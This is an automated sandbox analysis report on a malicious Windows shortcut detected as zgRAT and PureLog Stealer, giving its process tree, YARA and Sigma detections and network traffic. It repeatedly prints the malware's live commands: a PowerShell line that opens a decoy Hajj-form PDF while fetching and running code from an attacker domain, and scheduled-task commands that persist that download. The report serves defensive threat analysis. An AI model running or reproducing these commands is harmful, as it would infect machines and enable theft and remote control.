Edit tour

Windows Analysis Report
Sv6eQZzG0Z.lnk

Overview

General Information

Sample name:	Sv6eQZzG0Z.lnk renamed because original name is a hash value
Original sample name:	21c0756d52ca7947a83529e2cc7d3341f4626b8da05c256f5ec09034d147c6ba.lnk
Analysis ID:	1522856
MD5:	a22f05d003da4d6114cf3de35cc3c034
SHA1:	cff1426f338d1e56504fb2f182157f048c6e1213
SHA256:	21c0756d52ca7947a83529e2cc7d3341f4626b8da05c256f5ec09034d147c6ba
Tags:	lnkSideWinderuser-JAMESWT_MHT
Infos:

Detection

PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Sigma detected: Schedule system process

Windows shortcut file (LNK) starts blacklisted processes

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Machine Learning detection for sample

Sigma detected: Potentially Suspicious PowerShell Child Processes

Uses schtasks.exe or at.exe to add and modify task schedules

Windows shortcut file (LNK) contains suspicious command line arguments

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 7304 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c start https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf; irm http://drive.desktopserver.top/file/| Powershell MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 7532 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7768 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=2056,i,4768736094800516795,6522799854547835148,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

powershell.exe (PID: 8288 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)

schtasks.exe (PID: 8668 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 09:00 /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8688 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 11:00 /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8712 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 14:00 /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

svchost.exe (PID: 7688 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

powershell.exe (PID: 9160 cmdline: powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 9196 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)

schtasks.exe (PID: 9296 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 09:00 /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 9348 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 11:00 /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 9412 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 14:00 /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

powershell.exe (PID: 9180 cmdline: powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 9064 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)

schtasks.exe (PID: 9304 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 09:00 /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 9356 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 11:00 /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 9420 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 14:00 /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

powershell.exe (PID: 9208 cmdline: powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 8544 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)

schtasks.exe (PID: 9280 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 09:00 /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 9332 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 11:00 /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 9404 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 14:00 /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x72ae8:$s1: file:/// 0x729d4:$s2: {11111-22222-10009-11112} 0x72a78:$s3: {11111-22222-50001-00000} 0x6ba57:$s4: get_Module 0x6bea1:$s5: Reverse 0x71ee3:$s6: BlockCopy 0x71f04:$s7: ReadByte 0x72afa:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
00000018.00000002.2471509926.000001F3185BD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000017.00000002.2614802027.000001CCBEA5D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000016.00000002.2627405581.000002335422D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: powershell.exe PID: 8288	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x200047:$b2: ::FromBase64String( 0x9f8a:$s1: -join 0xd42a:$s1: -join 0x1b036a:$s1: -join 0x1bd5bc:$s1: -join 0x1c0a7e:$s1: -join 0x1c1118:$s1: -join 0x1c2c14:$s1: -join 0x1c4e68:$s1: -join 0x1c568f:$s1: -join 0x1c5eea:$s1: -join 0x1c6625:$s1: -join 0x1c6657:$s1: -join 0x1c669f:$s1: -join 0x1c66be:$s1: -join 0x1c6f0f:$s1: -join 0x1c708b:$s1: -join 0x1c7103:$s1: -join 0x1c7196:$s1: -join 0x1c73fc:$s1: -join 0x1c95b5:$s1: -join
Process Memory Space: powershell.exe PID: 9064	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x118275:$b2: ::FromBase64String( 0x11853c:$b2: ::FromBase64String( 0x1559a4:$b2: ::FromBase64String( 0x1698ae:$b2: ::FromBase64String( 0x160863:$s1: -join 0x1778c3:$s1: -join 0x17a234:$s1: -join 0xd43e8:$s3: reverse 0xde2af:$s3: reverse 0xecdef:$s3: reverse 0xfa32c:$s3: reverse 0x116cac:$s3: Reverse 0x156cdf:$s3: Reverse 0x168db9:$s3: Reverse 0x2ccfe7:$s3: reverse 0x2cd2d5:$s3: reverse 0x2cd9ef:$s3: reverse 0x2ce1a8:$s3: reverse 0x2d5319:$s3: reverse 0x2d5733:$s3: reverse 0x2d62bb:$s3: reverse
Process Memory Space: powershell.exe PID: 9196	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x27c083:$b2: ::FromBase64String( 0x287c30:$b2: ::FromBase64String( 0x2880b1:$b2: ::FromBase64String( 0x2f1e2c:$b2: ::FromBase64String( 0x2b340c:$s1: -join 0x2b9915:$s1: -join 0x2ec197:$s1: -join 0x10bbfc:$s3: reverse 0x112851:$s3: reverse 0x114838:$s3: reverse 0x11f867:$s3: reverse 0x27cd4b:$s3: Reverse 0x28705d:$s3: Reverse 0x290963:$s3: reverse 0x290c51:$s3: reverse 0x29136b:$s3: reverse 0x291b24:$s3: reverse 0x298c0f:$s3: reverse 0x299029:$s3: reverse 0x299bb1:$s3: reverse 0x29a85e:$s3: reverse
Process Memory Space: powershell.exe PID: 8544	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x34fa7:$b2: ::FromBase64String( 0x2bad5d:$b2: ::FromBase64String( 0x2e3318:$b2: ::FromBase64String( 0x2e35df:$b2: ::FromBase64String( 0x401a9:$s1: -join 0x42af2:$s1: -join 0x2b4ddb:$s1: -join 0xceb:$s3: reverse 0x7940:$s3: reverse 0x98f7:$s3: reverse 0x14926:$s3: reverse 0x35ca4:$s3: Reverse 0x26fbdd:$s3: reverse 0x27d096:$s3: reverse 0x2ba2e3:$s3: Reverse 0x2e1d9f:$s3: Reverse 0x3abd1c:$s3: Reverse 0x3b92a0:$s3: Reverse 0x3e0725:$s3: reverse 0x3ea608:$s3: reverse 0x40d355:$s3: reverse
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
22.2.powershell.exe.233543815c0.4.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
22.2.powershell.exe.233543815c0.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
22.2.powershell.exe.233543815c0.4.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x72ae8:$s1: file:/// 0x729d4:$s2: {11111-22222-10009-11112} 0x72a78:$s3: {11111-22222-50001-00000} 0x6ba57:$s4: get_Module 0x6bea1:$s5: Reverse 0x71ee3:$s6: BlockCopy 0x71f04:$s7: ReadByte 0x72afa:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
24.2.powershell.exe.1f318711390.4.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
24.2.powershell.exe.1f318711390.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.powershell.exe.1f318711390.4.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x72ae8:$s1: file:/// 0x729d4:$s2: {11111-22222-10009-11112} 0x72a78:$s3: {11111-22222-50001-00000} 0x6ba57:$s4: get_Module 0x6bea1:$s5: Reverse 0x71ee3:$s6: BlockCopy 0x71f04:$s7: ReadByte 0x72afa:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
11.2.powershell.exe.19fe48e8dd8.4.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
11.2.powershell.exe.19fe48e8dd8.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.powershell.exe.19fe48e8dd8.4.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x70ce8:$s1: file:/// 0x70bd4:$s2: {11111-22222-10009-11112} 0x70c78:$s3: {11111-22222-50001-00000} 0x69c57:$s4: get_Module 0x6a0a1:$s5: Reverse 0x700e3:$s6: BlockCopy 0x70104:$s7: ReadByte 0x70cfa:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
24.2.powershell.exe.1f318711390.4.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
24.2.powershell.exe.1f318711390.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
24.2.powershell.exe.1f318711390.4.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x70ce8:$s1: file:/// 0x70bd4:$s2: {11111-22222-10009-11112} 0x70c78:$s3: {11111-22222-50001-00000} 0x69c57:$s4: get_Module 0x6a0a1:$s5: Reverse 0x700e3:$s6: BlockCopy 0x70104:$s7: ReadByte 0x70cfa:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
23.2.powershell.exe.1ccbebb1660.4.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
23.2.powershell.exe.1ccbebb1660.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.powershell.exe.1ccbebb1660.4.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x70ce8:$s1: file:/// 0x70bd4:$s2: {11111-22222-10009-11112} 0x70c78:$s3: {11111-22222-50001-00000} 0x69c57:$s4: get_Module 0x6a0a1:$s5: Reverse 0x700e3:$s6: BlockCopy 0x70104:$s7: ReadByte 0x70cfa:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
23.2.powershell.exe.1ccbebb1660.4.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
23.2.powershell.exe.1ccbebb1660.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.powershell.exe.1ccbebb1660.4.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x72ae8:$s1: file:/// 0x729d4:$s2: {11111-22222-10009-11112} 0x72a78:$s3: {11111-22222-50001-00000} 0x6ba57:$s4: get_Module 0x6bea1:$s5: Reverse 0x71ee3:$s6: BlockCopy 0x71f04:$s7: ReadByte 0x72afa:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
22.2.powershell.exe.233543815c0.4.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
22.2.powershell.exe.233543815c0.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
22.2.powershell.exe.233543815c0.4.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x70ce8:$s1: file:/// 0x70bd4:$s2: {11111-22222-10009-11112} 0x70c78:$s3: {11111-22222-50001-00000} 0x69c57:$s4: get_Module 0x6a0a1:$s5: Reverse 0x700e3:$s6: BlockCopy 0x70104:$s7: ReadByte 0x70cfa:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
11.2.powershell.exe.19fed130000.6.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
11.2.powershell.exe.19fed130000.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.powershell.exe.19fed130000.6.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x70ce8:$s1: file:/// 0x70bd4:$s2: {11111-22222-10009-11112} 0x70c78:$s3: {11111-22222-50001-00000} 0x69c57:$s4: get_Module 0x6a0a1:$s5: Reverse 0x700e3:$s6: BlockCopy 0x70104:$s7: ReadByte 0x70cfa:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
11.2.powershell.exe.19fed130000.6.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
11.2.powershell.exe.19fed130000.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.powershell.exe.19fed130000.6.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x72ae8:$s1: file:/// 0x729d4:$s2: {11111-22222-10009-11112} 0x72a78:$s3: {11111-22222-50001-00000} 0x6ba57:$s4: get_Module 0x6bea1:$s5: Reverse 0x71ee3:$s6: BlockCopy 0x71f04:$s7: ReadByte 0x72afa:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
11.2.powershell.exe.19fe48e8dd8.4.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
11.2.powershell.exe.19fe48e8dd8.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.powershell.exe.19fe48e8dd8.4.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x72ae8:$s1: file:/// 0x729d4:$s2: {11111-22222-10009-11112} 0x72a78:$s3: {11111-22222-50001-00000} 0x6ba57:$s4: get_Module 0x6bea1:$s5: Reverse 0x71ee3:$s6: BlockCopy 0x71f04:$s7: ReadByte 0x72afa:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
Click to see the 25 entries

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 09:00 /f, CommandLine: "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 09:00 /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8288, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 09:00 /f, ProcessId: 8668, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c start https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf; irm http://drive.desktopserver.top/file/| Powershell , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c start https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf; irm http://drive.desktopserver.top/file/| Powershell , CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c start https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf; irm http://drive.desktopserver.top/file/| Powershell , ProcessId: 7304, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7688, ProcessName: svchost.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 09:00 /f, CommandLine: "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 09:00 /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8288, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/| Powershell" /sc daily /st 09:00 /f, ProcessId: 8668, ProcessName: schtasks.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.5% probability

Machine Learning detection for sample

Source: Sv6eQZzG0Z.lnk

Joe Sandbox ML: detected

Source: https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf	HTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/downloaded.pdf	HTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/downloaded.pdf	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 40.126.32.133:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.234:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.189:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.234:443 -> 192.168.2.5:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.234:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.234:443 -> 192.168.2.5:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49770 version: TLS 1.2

